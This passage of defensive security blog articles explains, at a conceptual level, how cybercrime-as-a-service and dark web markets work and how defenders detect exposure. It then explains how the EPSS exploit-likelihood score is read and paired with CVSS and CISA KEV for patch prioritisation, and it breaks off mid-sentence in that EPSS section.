tracks the actors across the supply chain so you can understand who rents from whom and who is likely to arrive at your door. Cybercrime became an economy of specialists, and that is why it scaled. The same structure is its exposed flank. Attacks are built from a handful of shared services, and defending well against those services (delivery, access, and infrastructure) does more to protect you than trying to counter every finished attack one at a time. ## Frequently asked questions **What is the difference between cybercrime-as-a-service and ransomware-as-a-service?** Ransomware-as-a-service is one service category inside the broader cybercrime-as-a-service economy. It covers the rental of encryptors and extortion infrastructure. Cybercrime-as-a-service is the umbrella term for the whole rental market, which also includes phishing kits, malware subscriptions, access brokering, and criminal hosting. A single ransomware incident usually rents from several of these categories at once. **Do buyers need technical skill to use these services?** Far less than they once did. Many services ship with dashboards, documentation, and support precisely so that low-skill buyers can operate them. Some skill still helps with the hands-on-keyboard stages of an intrusion, but the hardest technical work, building malware and finding footholds, has been moved to specialists and sold as a finished product. **Why can't law enforcement simply shut these services down?** The infrastructure often sits in jurisdictions where enforcement is weak, on bulletproof hosting designed to ignore takedown requests. The market is also decentralised, so removing one vendor leaves the suppliers and buyers around it intact. Disruption happens, and it works best when it targets shared services and the money, but the structure is built to survive the loss of any single participant. **How does payment work in this economy?** Cryptocurrency provides settlement that is hard to reverse and hard to attribute, which makes subscriptions, deposits, and revenue splits practical. Markets add escrow so a neutral party holds funds until the buyer confirms delivery, which reduces the incentive for one-off scams and lets the market function despite the lack of legal recourse. **Is cybercrime-as-a-service only found on the dark web?** No. While specialised markets and forums host much of the trade, a large amount happens on mainstream messaging platforms and semi-public forums. The venue varies by service and by the level of vetting the seller wants. Treating it as a single hidden place underestimates how distributed and accessible it has become. **What single defence helps most against this model?** Phishing-resistant authentication has outsized value, because phishing and stolen credentials feed the two most-rented services: delivery and access. Passkeys and hardware security keys break credential theft at its source, which starves both the phishing-as-a-service and access-as-a-service layers that so many finished attacks depend on. **How can a defender tell which service an attacker rented?** By the artifacts the rented parts leave behind: recognisable phishing-kit templates, common post-exploitation tooling, leak-site formatting tied to a specific kit, and logins from hosting infrastructure rather than user devices. Matching those fingerprints to known services tells you which supplier's playbook you face and what usually comes next. **Has the service model changed how fast new techniques spread?** Yes. When a capability is a rentable product, an improvement made by one specialist reaches every buyer through an update, the same way a software release does. A new evasion trick or a fresh phishing template can propagate across the whole customer base quickly, so defenders see the same novel behaviour appear across many unrelated incidents in a short window. Watching the services themselves gives earlier warning than waiting for each finished attack to arrive. ## Related guides - [Ransomware-as-a-Service Explained](/ransomware-as-a-service-explained) - [Initial Access Brokers Explained](/initial-access-brokers-explained) - [Dark Web Markets Explained](/dark-web-markets-explained) - [What Is an Infostealer](/what-is-an-infostealer) - [The Exploit Market Explained](/the-exploit-market-explained) ### Sources - MITRE ATT&CK: Enterprise Matrix (MITRE): https://attack.mitre.org/matrices/enterprise/ - CISA: Stop Ransomware (CISA): https://www.cisa.gov/stopransomware - MITRE ATT&CK: Phishing (T1566) (MITRE): https://attack.mitre.org/techniques/T1566/ --- ## Dark Web Markets: How Criminal Marketplaces Work > A defensive guide to dark web markets: Tor hidden services, what gets traded, escrow and reputation, and why markets get seized and rebrand. - URL: https://blog.pwnsy.com/dark-web-markets-explained - Date: 2026-07-24 - Updated: 2026-07-24 - Difficulty: beginner - Category: threat-intel - Tags: dark-web, threat-intel, cybercrime, underground-economy, initial-access - Related: [Genesis Market Explained: The Bot Shop and Operation Cookie Monster](https://blog.pwnsy.com/genesis-market-explained), [How Dark Web Monitoring Works: Sources, Alerts and Limits](https://blog.pwnsy.com/how-dark-web-monitoring-works), [The Capital One Breach: SSRF, Metadata Credentials, 100 Million Records](https://blog.pwnsy.com/capital-one-breach-explained) ### TL;DR - Dark web markets are commerce platforms hosted as Tor hidden services, where the goal is to sell stolen data, network access, and criminal tooling with buyer and seller identities obscured. - The inventory is mostly digital: credential dumps, stealer logs, corporate access, exploit kits, and fraud services, priced and reviewed like any e-commerce catalogue. - Escrow and reputation systems exist to solve the trust problem between anonymous criminals, which is why these markets look and behave like legitimate storefronts. - Markets get seized, exit-scam, or collapse regularly, and the same operators and vendors rebrand and reappear elsewhere, so the ecosystem persists even as individual sites die. ### Key Takeaways - A dark web market is a Tor hidden service (.onion), reachable only through the Tor network, which hides both the server location and the visitor. - The main product categories are stolen data, network access sold by initial-access brokers, and crime-as-a-service tooling, not physical goods for most cyber-focused markets. - Escrow holds a buyer's payment until goods are confirmed, and vendor reputation scores reduce the risk of dealing with strangers, mirroring legitimate marketplace design. - Law enforcement seizures work because the human operators, payment trails, and operational mistakes are attackable even when the technology is not. - Defenders should treat markets as an intelligence source: exposure of your credentials or access there is a concrete early warning worth monitoring for. Most of what people imagine about the dark web is wrong in one direction or the other. It is either a lurid bazaar of everything illegal, or a myth invented to sell antivirus. The reality for a defender is more useful and more boring. Dark web markets are commerce platforms. They have catalogues, search bars, seller ratings, dispute resolution, and customer support. What makes them criminal is the inventory, not the machinery. This guide explains how those markets work at a conceptual level, what trades on them, and why they keep coming back after every takedown. It does not explain how to reach one, and it does not need to. Understanding the shape of the economy is what helps you defend against it. ## What "dark web market" actually means The dark web is the slice of the internet that is deliberately unindexed and reachable only through anonymising networks, most commonly Tor. A dark web market is a shop hosted as a **Tor hidden service**, addressed with a `.onion` name instead of a normal domain. The hidden service model does two things at once. It hides where the server physically sits, and it hides who is visiting. Traffic is relayed through several volunteer-run nodes, each of which knows only the hop before and after it, so no single point sees both ends of a connection. That property is what the market operators rely on for survival, and what buyers rely on for cover. None of that is inherently criminal. The same technology protects journalists, dissidents, and privacy-conscious users. The markets are simply one use of it, and the one that matters for threat intelligence. ## What gets traded Cyber-focused markets deal mostly in digital goods, because digital goods are infinitely copyable and easy to deliver. The catalogue tends to fall into three buckets. | Category | Examples | Who buys it | |---|---|---| | Stolen data | Credential dumps, stealer logs, payment cards, personal records | Fraudsters, account-takeover crews | | Access | Footholds into corporate networks, valid VPN and RDP logins, admin sessions | Ransomware affiliates, other intruders | | Tooling and services | Malware builders, exploit kits, phishing kits, cashout and money-laundering services | Aspiring operators, established crews | The second row is the one that should worry a security team most. When an initial-access broker sells a working entry point into a company, the buyer skips the hardest part of an intrusion. On MITRE ATT&CK this maps to [Acquire Access (T1650)](https://attack.mitre.org/techniques/T1650/), and the reconnaissance side of buying stolen data maps to [Purchase Technical Data (T1597.002)](https://attack.mitre.org/techniques/T1597/002/). Access is the product that connects the quiet, high-volume world of infostealers to the loud, expensive world of ransomware. A stealer infection on one laptop becomes a log, the log surfaces in a market, a broker refines it into a corporate foothold, and an affiliate turns that foothold into an extortion event weeks later. The buyers downstream of these markets are trackable actors, not anonymous ghosts. Our Threat Groups directory maps the ransomware crews and access brokers that sit on either side of the marketplace, so you can see who sells footholds and who turns them into incidents. ## How anonymous strangers learn to trust each other The interesting engineering problem for a criminal market is not anonymity. Tor solves that. The hard problem is trust. Two parties who have hidden their identities from each other, and from the law, still need to complete a transaction where one side pays and the other delivers. Every design feature of these markets exists to manage that problem. **Escrow** is the core mechanism. The buyer's payment, usually in cryptocurrency, is held by the market rather than sent straight to the vendor. The funds release only when the buyer confirms delivery, or after a dispute is resolved. This stops the simplest scam, taking the money and vanishing, and it is the same principle a legitimate marketplace uses to protect buyers. **Reputation** is the second mechanism. Vendors accumulate ratings, review counts, and tenure. A seller with hundreds of positive transactions is a known quantity, and buyers pay a premium for that predictability. New vendors often have to post a bond or sell cheaply to build a record. The effect is a self-policing quality signal that makes the market usable. **Dispute resolution, forums, and support** round it out. Markets run moderators and arbitration precisely because a marketplace that cannot resolve conflicts loses its users to one that can. The result looks unnervingly professional, because the incentives that shaped legitimate e-commerce shaped these too. ## Why markets keep dying and coming back Individual markets are fragile. They disappear for three main reasons. - **Law enforcement seizure.** Agencies identify the operators or the hosting, take control of the infrastructure, and often run the site quietly for a period to gather intelligence before the takedown becomes public. - **Exit scams.** The operators wait until escrow holds a large balance, then take everything and disappear. Trust was the product, and they sell it out at the end. - **Internal collapse.** Denial-of-service attacks from rivals, disputes among administrators, or a loss of nerve after a competitor is arrested can end a market on their own. The important point for defenders is that the death of a market does not shrink the ecosystem. The vendors, the buyers, and often the operators simply move. A seizure removes a storefront; it rarely removes the people. Reputation is portable, so a trusted vendor announces a new home and their customers follow. This is why chasing specific market names is a treadmill. The underground reorganises around the same functions every time. When a major market is seized, exposed credentials and access that were listed on it do not become safe. They were already copied and sold. Treat any confirmed exposure as compromised regardless of what happens to the market it appeared on, and rotate accordingly. ## What this means for a security team You will almost never visit these markets, and you do not need to. What matters is treating them as an intelligence signal about your own organisation. 1. **Watch for exposure of your assets.** Credential-monitoring and stealer-log services can tell you when logins tied to your domains surface for sale. That is an early warning of an infection you may not have detected internally. 2. **Assume access is for sale before an incident, not during one.** The broker economy means intrusions are often bought, not earned. Harden the things brokers sell: exposed VPN and RDP, reused credentials, and unmanaged remote access. 3. **Kill the supply at the source.** Most of the data in these markets originates from infostealer infections and phishing. Reducing what a browser stores and blocking credential-harvesting delivery cuts off inventory upstream. See [What Is an Infostealer](/what-is-an-infostealer). 4. **Rotate on confirmation, not on takedown.** If your data is confirmed exposed, invalidate sessions and rotate credentials immediately. Do not wait for a market to be seized to act. 5. **Track the buyers, not the storefronts.** Understanding which crews buy access into organisations like yours tells you more than the name of this month's market. Dark web markets are durable because they are well designed and because demand is constant. You cannot shut down the demand, but you can make yourself a poor supplier: fewer harvested credentials, fewer exposed footholds, faster rotation when something leaks. The market will keep running. The goal is that your name stops appearing in the catalogue. ## How a single infection becomes a marketplace listing The abstract categories become concrete when you follow one piece of data through the chain. Consider a laptop that runs an infostealer after the owner opens a booby-trapped download. The malware runs for a few seconds, harvests everything the browser has saved, and exits. What it collected is now a stealer log, and that log has a life of its own. The first stop is a log aggregation channel or a bulk seller. Raw stealer output arrives in enormous volume, most of it worthless: personal webmail, streaming logins, forum accounts. A bulk operator sorts it, dedupes it, and packages it. At this stage the data is cheap and sold by the thousand, because the buyer is prospecting rather than targeting. The second stop happens when a buyer parses those logs for something valuable. A single corporate credential, a session cookie for a company single sign-on portal, or a saved VPN login turns a commodity log into a lead. The person who spots it is often an initial-access broker, and their skill is recognising which lines in a dump are worth real money. The third stop is the access listing. The broker validates the credential, confirms it reaches a live corporate environment, and lists it for sale with a description: the sector, the rough revenue of the target, the level of access, and a price. This is the high-value inventory a security team should fear, and it is why the same infection that looked trivial on day one becomes an intrusion weeks later. The fourth stop is the incident. A ransomware affiliate buys the access, moves through the network, and launches an extortion event. By the time the victim notices, the data has changed hands three or four times and the original infection is long forgotten. Understanding this pipeline is what lets a defender intervene early, at the log stage, rather than late, at the ransom note. ## How markets compare to other criminal channels A market is one venue for these trades, and it helps to see it beside the alternatives, because the choice of venue tells you something about the actor and the risk. | Channel | How it works | Trust model | Typical use | |---|---|---|---| | Market (hidden service) | Catalogue with escrow and vendor ratings | Enforced by the platform | Volume sales of data and tooling | | Invite forum | Reputation-gated boards with vetted members | Community vouching and history | Access deals, recruitment, higher-value trades | | Encrypted messaging | Private channels and group chats | Direct, personal, deal by deal | Fast deals, affiliate coordination, closed crews | | Direct broker contact | One seller negotiating privately | Bilateral, often via a known handle | Bespoke, high-price corporate access | The trend over recent years has moved some trade off large markets and onto invite-only forums and encrypted messaging. The reason is exposure. A big market is a single target for law enforcement, and its takedown burns everyone on it. Smaller, gated venues spread the risk and make infiltration harder. For a defender this matters because it means the absence of your data on public markets does not prove it is unsold. It may simply be moving through a channel you cannot see. ## Detection signals: how exposure surfaces You will not browse these venues, so exposure reaches you through indicators rather than direct observation. These are the concrete signals worth wiring into a monitoring program. The first signal is a corporate credential appearing in a stealer-log feed. Commercial and community services ingest large volumes of stealer output and index it by domain. A login tied to your company surfacing there is a strong indicator that an employee or contractor device is infected, even if your own endpoint tools saw nothing. The second signal is a session cookie or authentication token for one of your portals showing up for sale. Cookies are more dangerous than passwords because they can bypass multifactor prompts entirely. A stolen valid session lets an attacker resume an authenticated session without ever seeing the password or the second factor. The third signal is a vague access listing that matches your organisation's profile. Brokers rarely name the victim, but they describe it: the country, the industry, the approximate size, and the type of access. A listing describing a company that looks like yours is worth treating as a lead to investigate internally. The fourth signal is chatter that references your brand, your executives, or your products in criminal channels. Mentions can precede a listing, as an actor gauges interest or recruits help. The fifth signal is a spike in credential-stuffing or password-spray activity against your login surfaces shortly after a breach elsewhere. Freshly traded credential sets get tested at scale, and a sudden rise in failed logins from distributed sources can be the downstream echo of a new dump. A stolen session cookie can be more valuable to an attacker than a password, because a live cookie may sail straight past multifactor authentication. If you learn that session tokens for your applications are exposed, invalidating active sessions matters as much as resetting passwords. Rotating the password alone leaves the stolen session working until it expires. ## Common misconceptions Several beliefs about dark web markets lead defenders to the wrong conclusions. The first is that the dark web is mostly about drugs and contraband. Those markets exist, but the part that matters for a security team is the digital economy: credentials, access, and tooling. Cyber-focused venues trade almost entirely in data and services, because those are copyable and deliverable without a physical shipment. The second is that a market takedown makes the listed data safe. It does not. Anything listed was already copied, and usually already sold, well before the seizure. A takedown removes a storefront and sometimes arrests operators, and it does nothing to un-leak the data. Treat any confirmed exposure as compromised regardless of what happens to the venue. The third is that being on Tor makes participants untraceable. The network hides connection metadata, but the humans still make mistakes. Reused handles, cashout patterns, operational slip-ups, and the money trail have all led to identifications. Anonymity technology does not make anonymous behaviour, and law enforcement attacks the human layer rather than the transport. The fourth is that these markets are chaotic and amateurish. The durable ones are the opposite. Escrow, arbitration, reputation, and customer support exist because a marketplace that cannot manage trust loses its users. The professionalism is what makes the ecosystem resilient. The fifth is that only large enterprises are targeted. The broker economy runs on volume, and small and mid-sized organisations are frequently the easier, cheaper access to sell. A company being unremarkable is no protection when the product is simply a working way in. ## Where this fits in the criminal supply chain It helps to place markets in the wider structure of cybercrime, because they are one layer of a division of labour that has matured over years. The specialisation is what makes the whole system efficient and hard to disrupt. At the bottom are the harvesters: infostealer operators, phishing crews, and mass-scanning groups that generate raw material at volume. In the middle are the refiners and brokers who turn raw data into targeted, validated products. Near the top are the operators who buy access and monetise it, most visibly ransomware affiliates, but also fraud crews and business-email-compromise groups. Around all of them sit the service providers: bulletproof hosting, malware developers, and money launderers who cash out the proceeds. Markets are the connective tissue between these layers. They let a harvester sell to a broker without knowing them, and a broker sell to an operator without knowing them either. Escrow and reputation make those introductions safe enough to transact. When you understand the market as an exchange between specialists, its persistence makes sense: you can seize a specific exchange, and the specialists just find another. This division of labour also explains why the barrier to entry for cybercrime has fallen. An operator no longer needs to write malware, run a phishing campaign, and breach a network personally. They can buy each capability as a product or a service from a specialist who does only that. The market is what makes that outsourcing possible, and it is why a relatively unskilled actor can still cause a serious incident by assembling bought parts. The defensive implication is that hardening against one stage is not enough, because the attacker can simply purchase their way past the stage you strengthened. ## Frequently asked questions **Is visiting a dark web market illegal?** Accessing Tor and viewing a hidden service is generally not illegal by itself in most jurisdictions, but buying stolen data, access, or criminal tooling is. For a defender there is rarely any reason to visit directly. The intelligence you need comes through monitoring services that do the collection for you, which keeps you out of legal and safety risk. **How do defenders find out if their data is for sale?** Through credential-monitoring and stealer-log services that ingest and index leaked and traded data, and through threat-intelligence providers who track listings and chatter. These services alert you when logins tied to your domains, or descriptions matching your organisation, appear. That is far safer and more complete than trying to browse venues yourself. **Why do seized markets reappear under new names?** Because a seizure removes infrastructure, not people. The vendors, buyers, and often the operators survive, and reputation is portable. A trusted vendor announces a new home and their customers follow. Chasing individual market names is a treadmill, since the underground reorganises around the same functions each time. **What is the single most valuable product traded?** Validated access into corporate networks, sold by initial-access brokers. It removes the hardest part of an intrusion for the buyer and directly feeds ransomware and extortion. On MITRE ATT&CK this maps to Acquire Access, technique T1650. Stolen data and tooling matter, but access is the product that turns a quiet infection into a loud incident. **Does multifactor authentication protect me if my credentials are sold?** It helps a great deal against plain password reuse, but it is not absolute. Stolen session cookies can bypass multifactor prompts, and some phishing kits capture the second factor in real time. Multifactor should be on everywhere, and it should be paired with session invalidation and phishing-resistant methods where possible. **How fast should I act on a confirmed exposure?** Immediately. Do not wait for a takedown or further confirmation. Invalidate active sessions, rotate the exposed credentials, and hunt for signs the access was already used. Data on a market was copied before you learned about it, so the clock started before your alert did. **How does payment work on these markets?** Almost always in cryptocurrency, held in escrow by the platform until a deal completes. Buyers fund an account, escrow holds the balance during a transaction, and funds release to the vendor once the buyer confirms delivery or a dispute resolves. Operators take a commission on each sale, which is their revenue and also their exit-scam temptation: when escrow holds a large balance, the operators can vanish with it. The reliance on cryptocurrency is also a weakness for the criminals, because the money trail is a persistent record that investigators can follow long after a transaction, and clustering analysis has repeatedly linked pseudonymous wallets back to real identities. **Should a defender ever engage with a seller?** No. Contacting a vendor, negotiating, or attempting a purchase carries legal risk, funds the criminal economy, and can expose you or your organisation to retaliation and further targeting. Any interaction that is genuinely useful, such as validating a listing, belongs to specialised threat-intelligence teams and law enforcement operating under legal authority, not to an in-house security team acting alone. Dark web markets will outlast any single takedown because they are well built and demand for their inventory never stops. Your leverage is upstream and downstream: cut the supply by reducing harvested credentials and exposed footholds, and cut the damage by rotating fast when something leaks. You cannot close the market, and you can make sure your organisation is a poor supplier to it. ## Related guides - [What Is the Dark Web](/what-is-the-dark-web) - [Initial Access Brokers Explained](/initial-access-brokers-explained) - [Cybercrime as a Service Explained](/cybercrime-as-a-service-explained) - [What Is an Infostealer](/what-is-an-infostealer) - [The Exploit Market Explained](/the-exploit-market-explained) ### Sources - MITRE ATT&CK: Acquire Access (T1650) (MITRE): https://attack.mitre.org/techniques/T1650/ - MITRE ATT&CK: Purchase Technical Data (T1597.002) (MITRE): https://attack.mitre.org/techniques/T1597/002/ - CISA: Stop Ransomware (CISA): https://www.cisa.gov/stopransomware --- ## EPSS Explained: Scoring How Likely a Vuln Is to Be Exploited > EPSS predicts the chance a CVE is exploited within 30 days. How the model works, reading the score and percentile, and pairing it with CVSS and KEV. - URL: https://blog.pwnsy.com/epss-explained - Date: 2026-07-24 - Updated: 2026-07-24 - Difficulty: beginner - Category: threat-intel - Tags: epss, vulnerability-management, threat-intel, cve, patch-prioritization - Related: [Genesis Market Explained: The Bot Shop and Operation Cookie Monster](https://blog.pwnsy.com/genesis-market-explained), [How Dark Web Monitoring Works: Sources, Alerts and Limits](https://blog.pwnsy.com/how-dark-web-monitoring-works), [The Capital One Breach: SSRF, Metadata Credentials, 100 Million Records](https://blog.pwnsy.com/capital-one-breach-explained) ### TL;DR - EPSS (Exploit Prediction Scoring System) gives each CVE a probability from 0 to 1 that it will be exploited in the wild within the next 30 days. - It is a data-driven model retrained continuously on real exploitation signals, not a human judgement of how bad a flaw looks. - Each CVE gets a probability and a percentile. The percentile tells you how a CVE ranks against all others, which is what you actually sort by. - EPSS is the likelihood axis that CVSS lacks. Used together, and checked against CISA KEV, they cut a patch backlog down to the handful of flaws that matter. ### Key Takeaways - EPSS scores are updated daily and are free to query via the FIRST.org API, no account required. - The vast majority of CVEs score very low. A small fraction carry most of the real-world exploitation risk, which is exactly the concentration a prioritisation signal should surface. - Score is an absolute probability; percentile is a relative rank. For triage thresholds, percentile is usually the more stable lever. - EPSS predicts exploitation activity; it does not measure impact. A high EPSS on a low-impact flaw still needs the CVSS impact view to weigh it properly. - Combining EPSS (likelihood) with CVSS (severity) and KEV (confirmed exploitation) outperforms any single signal for deciding patch order. Most vulnerabilities are never exploited. That single fact is the reason EPSS exists. If you patched strictly in CVSS order you would spend enormous effort on severe-looking flaws that attackers ignore, while a quietly weaponised medium-severity bug waited its turn. EPSS, the Exploit Prediction Scoring System, is an open, data-driven model maintained by a FIRST special interest group. It answers the question CVSS was never built to answer: how likely is it that this specific vulnerability will actually be exploited soon. ## What the score means Every CVE with an EPSS entry gets a **probability between 0 and 1** that it will be exploited in the wild within the next 30 days. A score of 0.85 means the model estimates roughly an 85 percent chance of observed exploitation activity in that window. A score of 0.001 means it is very unlikely. Alongside the probability, each CVE gets a **percentile**, from 0 to 100, showing how it ranks against every other scored CVE. A CVE in the 99th percentile is among the most likely to be exploited of all known vulnerabilities. The percentile is what most teams sort and threshold on, because it stays interpretable even as the absolute probabilities shift when the model retrains. Score answers "what is the chance". Percentile answers "how does this compare to everything else". A CVE can have a modest-looking score of 0.15 and still sit in a high percentile, simply because almost every other CVE scores lower. When you set a triage cutoff, prefer the percentile. ## How the model works EPSS is machine learning, not a rubric. The model is trained on a large set of features drawn from real vulnerability data and correlated with observed exploitation. The inputs include things like: - Whether public exploit code exists, and where (exploit databases, frameworks like Metasploit, published proof-of-concept). - References and tags on the CVE, and the affected vendor and product. - The age of the vulnerability and its activity over time. - Signals of exploitation observed across a wide sensor network. The model is retrained continuously and scores are refreshed daily. Because it learns from what attackers actually do, its judgements shift as the threat landscape shifts. A CVE can be low-probability on Monday and jump on Wednesday when a working exploit is published. This is a feature. Severity is static, and exploitation risk moves with the world. A useful mental model is that EPSS is estimating a base rate and then adjusting it with evidence. The base rate is low, because across the whole population of published CVEs, only a small fraction are ever exploited in the wild. The model starts from that reality and raises a specific CVE above the crowd when its features resemble those of vulnerabilities that historically drew exploitation: a public proof of concept appearing, the flaw affecting widely deployed software, references accumulating, or sensor telemetry showing early probing. Nothing in the model is a human opinion about how dangerous the bug looks. Every lift comes from a pattern the model has learned separates the exploited from the ignored. This is also why EPSS avoids a trap that catches severity scoring. A flaw can be technically severe and still be uninteresting to attackers because it is hard to reach, needs an unusual precondition, or affects software few organisations run. Severity has no way to express that disinterest. EPSS does, because the same features that make a flaw unattractive to attackers keep its score near the population base rate. ## Reading a score in context The raw probability is most useful when you group it into bands rather than reacting to every decimal place. A rough working scheme that many teams adopt treats scores in loose tiers: a very low band where the flaw sits near the population base rate and can safely age in the backlog, a middle band that warrants watching for movement, and a high band where the model is signalling meaningful exploitation likelihood and the flaw earns a place in the active queue. The exact cut points are yours to set, and the percentile is the more durable way to draw them, but thinking in bands stops you from over-reacting to tiny fluctuations that carry no real meaning. Context from your own environment sharpens the read further. The same EPSS score means something different on an unauthenticated, internet-facing service than it does on an internal component behind several layers of access control. EPSS gives you the population-level odds, and your exposure data tells you how much those odds matter for your specific systems. The score is the starting point of the conversation, and reachability, asset value, and existing compensating controls finish it. One more reading habit pays off repeatedly: pay as much attention to the direction of travel as to the level. A CVE that has sat at a low score for months and suddenly climbs is telling you that the model just saw new evidence, most often a public exploit or a burst of sensor activity. That movement is frequently the earliest structured warning you will get that a flaw is about to be a problem, which is why keeping yesterday's scores to compare against today's is worth the small storage cost. ## Why EPSS and CVSS answer different questions It is worth being precise about the division of labour, because conflating the two is the most common mistake in vulnerability management. | Signal | Question it answers | Changes over time | |---|---|---| | CVSS | How bad is it if exploited | Base score is fixed | | EPSS | How likely is exploitation soon | Updated daily | | CISA KEV | Is it being exploited right now | Grows as CISA confirms | CVSS measures **impact and difficulty**. EPSS measures **probability**. Neither replaces the other. A vulnerability with a 9.8 CVSS and a 0.02 EPSS is dangerous in theory and quiet in practice. A 6.5 CVSS with a 0.94 EPSS is a lower ceiling but an active threat. If you can only work one this week, the second is usually the right call. For the definitional companion to this guide, see [CVSS Explained](/cvss-explained). ## Reading EPSS well A few habits separate teams that get value from EPSS from teams that just add another column to a spreadsheet: 1. **Threshold on percentile, revisit the number.** Something like "everything above the 90th percentile enters the expedited queue" is a durable rule. Absolute-probability cutoffs drift as the model updates. 2. **Watch the deltas, not just the level.** A CVE whose EPSS jumped ten points overnight is telling you something changed in the world, often that an exploit went public. 3. **Never drop the impact axis.** EPSS says nothing about what a flaw damages. A high-probability, low-impact bug still needs the CVSS impact view before it jumps the queue. 4. **Confirm against KEV.** If a CVE is on the [KEV catalog](/kev-catalog-explained), exploitation is no longer a prediction. Treat it as urgent regardless of the EPSS number. Patch order = severity (CVSS) x likelihood (EPSS), with anything on CISA KEV promoted to the top. This simple combination consistently beats sorting by any one signal alone. ## Seeing it live EPSS is free to query, but the value shows up when you plot it against severity and confirmed exploitation. Our Exploit Intelligence dashboard joins live NVD, FIRST.org EPSS and CISA KEV data into one view: a CVSS-by-EPSS risk matrix, plus the time from a CVE's publication to its KEV listing. It is the fastest way to see which severe flaws are also probable, and which are all bark. For a single CVE, our [CVSS calculator](https://pwnsy.com/tools/cvss-calculator/) loads its EPSS score and percentile, KEV status and CVSS vectors together, and turns them into a patch window for your environment. EPSS will not tell you what to do. It gives you the one number a severity score cannot: the odds. Combine those odds with impact and with confirmed exploitation, and a patch backlog of thousands becomes a shortlist of the few that genuinely deserve tonight's change window. ## A worked triage walkthrough The clearest way to feel what EPSS buys you is to run a backlog through it. Imagine a monthly scan returns eight hundred open findings across your fleet. Sorting by CVSS alone, you might see two hundred flagged as high or critical. That is more than any team can patch in a single cycle, so the CVSS-only sort has failed at the one job you needed from it: telling you what to do first. Now layer EPSS on top. Pull the current score and percentile for each CVE from the FIRST.org API and add two columns to the scan export. Sort first by percentile, descending. The list reorganises immediately. The severe-looking flaws with almost no public exploit interest sink toward the bottom. A smaller cluster rises to the top: CVEs that are both damaging if exploited and estimated as likely to be exploited soon. Walk the top of that reordered list one row at a time. The first CVE might carry a CVSS of 8.1 and an EPSS in the 99th percentile with a probability of 0.92. That combination is unambiguous. It is a serious flaw the model believes is being actively weaponised, and it belongs in tonight's change window. The next row might show a CVSS of 9.8 and an EPSS in the 20th percentile with a probability of 0.004. High ceiling, quiet in practice. It stays on the list, because a public exploit could change that overnight, and you review it again next cycle when the score refreshes. Further down you find the inverse case that CVSS-only triage always mishandles: a CVE with a moderate 6.4 severity and an EPSS percentile of 97. On a severity-only sort this bug sat in the middle of the pile, ignored for months. EPSS surfaces it because the model sees the exploitation signals that severity is blind to. This is the exact row that a likelihood-aware program patches and a severity-only program misses. Every row in a triage list is really two numbers. Severity sets the ceiling on damage, and EPSS sets the odds the ceiling is reached soon. Read them together for the level, then keep the previous cycle's export so you can read the change. A CVE whose EPSS climbed from the 40th to the 95th percentile since last month is the single most actionable signal on the sheet, because something in the world just changed for it. ## How to operationalise EPSS Querying a score is easy. Building a program that reacts to scores is where the value compounds. A few concrete practices turn EPSS from a lookup into a workflow. Cache the full daily model output rather than querying one CVE at a time. FIRST publishes the entire scored set daily, and holding a local copy lets you compute deltas, run thresholds across your whole asset inventory in one pass, and avoid rate limits. The daily refresh is the cadence to build around, since scores can move meaningfully between one day and the next when exploit code goes public. Join EPSS to asset context before you act on it. A high percentile on a CVE that affects an internet-facing, unauthenticated service is a different priority from the same score on a flaw in an internal tool reachable only by trusted admins. EPSS estimates the likelihood of exploitation in the wild across the whole population of systems, so pairing it with your own exposure and reachability data sharpens it from a global signal into a local one. Set the threshold as a policy, not a one-off decision. A written rule such as "any open finding at or above the 90th EPSS percentile enters the expedited queue, and anything on CISA KEV is promoted to the top regardless of score" gives your team a durable, auditable standard. It also survives model retraining, because a percentile cutoff stays interpretable even as absolute probabilities shift. Track how your queue moves over time. If you plot the EPSS distribution of your open backlog month over month, a healthy program shows the high-percentile band staying small and getting cleared quickly, while the long low-percentile tail is allowed to age. A backlog where high-EPSS items linger is a resourcing problem the chart makes visible. ## Common misconceptions A handful of misreadings show up again and again, and each one quietly undermines the value of the signal. The first is treating EPSS as a severity score. It is not. A high EPSS says a flaw is likely to be exploited, and says nothing about what happens if it is. A high-probability bug that only crashes a non-critical service is a real signal, but it does not automatically outrank a lower-probability flaw that grants full remote code execution on a core system. Keep the impact axis in the picture at all times. The second is reading the probability as a promise. An EPSS of 0.80 does not mean the CVE will be exploited. It means the model estimates roughly an eighty percent chance of observed exploitation activity in the next thirty days across the population it was trained on. Some high-scoring CVEs will see no activity, and some low-scoring ones will be hit. The score is a calibrated estimate over many vulnerabilities, and it earns its keep in aggregate over a backlog, not as a guarantee about any single row. The third is anchoring on the absolute number instead of the percentile. Because the model retrains continuously, the raw probabilities drift. A cutoff written as "patch everything above 0.5" can silently include far more or far fewer CVEs after a model update. A percentile cutoff is the more stable lever, which is why most mature programs threshold on rank. The fourth is assuming a low score today means safe forever. EPSS is a thirty-day forward estimate that is recomputed daily. A CVE sitting quietly at the bottom of the list can jump the moment a working exploit is published or a proof of concept spreads. The correct posture is to re-run the whole backlog against fresh scores on a regular cadence, so a rising flaw is caught on the way up. EPSS predicts exploitation. CISA KEV confirms it. When a CVE appears on the KEV catalog, the question EPSS was answering has already been settled in the real world, so the KEV listing overrides the prediction and the flaw goes straight to the top of the queue. Use EPSS to decide what to watch and pre-empt, and use KEV as the hard override that ends the debate. ## How EPSS evolved EPSS did not arrive fully formed. It began as a research effort to bring data to a decision that had been made largely by intuition and by static severity scores. The first published model was intentionally simple, built to prove that observed exploitation could be predicted from features available at scan time rather than guessed from the shape of a vulnerability. Later model generations widened the feature set and improved calibration. The project moved from a small handmade set of inputs to a much richer model trained on a broad range of vulnerability metadata and on exploitation signals collected across a wide sensor network. Each generation of the model raised how well the top-scoring slice of CVEs concentrated the real exploitation activity, which is the property that makes the score worth sorting by. The practical takeaway for a defender is that EPSS is a living system. The scores you pull today come from a model that has been refined over several versions and continues to be retrained, so the reference to trust is always the current output rather than a number you cached a year ago. ## How EPSS compares to other prioritisation signals EPSS is one input among several that teams use to decide patch order. Seeing them side by side clarifies what each contributes and why combining them beats any one alone. | Signal | What it is | Nature | Best used for | |---|---|---|---| | CVSS Base | Severity of a flaw if exploited | Static, set at publication | The impact ceiling | | EPSS | Probability of exploitation within 30 days | Data-driven, updated daily | The likelihood axis | | CISA KEV | Catalog of confirmed exploited CVEs | Grows as CISA verifies | Hard override to the top | | SSVC | Decision-tree triage on exploitation and exposure | Qualitative, human-guided | Structured go or wait calls | | Threat intel feeds | Reports of active campaigns and actors | Narrative, timely | Context on who and why | CVSS gives the ceiling on damage. EPSS gives the odds. KEV removes the guesswork once exploitation is confirmed. SSVC wraps those inputs in a repeatable decision tree so that similar findings get similar calls. Threat intelligence adds the story of which actors are moving and against which sectors. A program that reads these together makes better patch-order decisions than one leaning on any single column, and EPSS is the piece that supplies 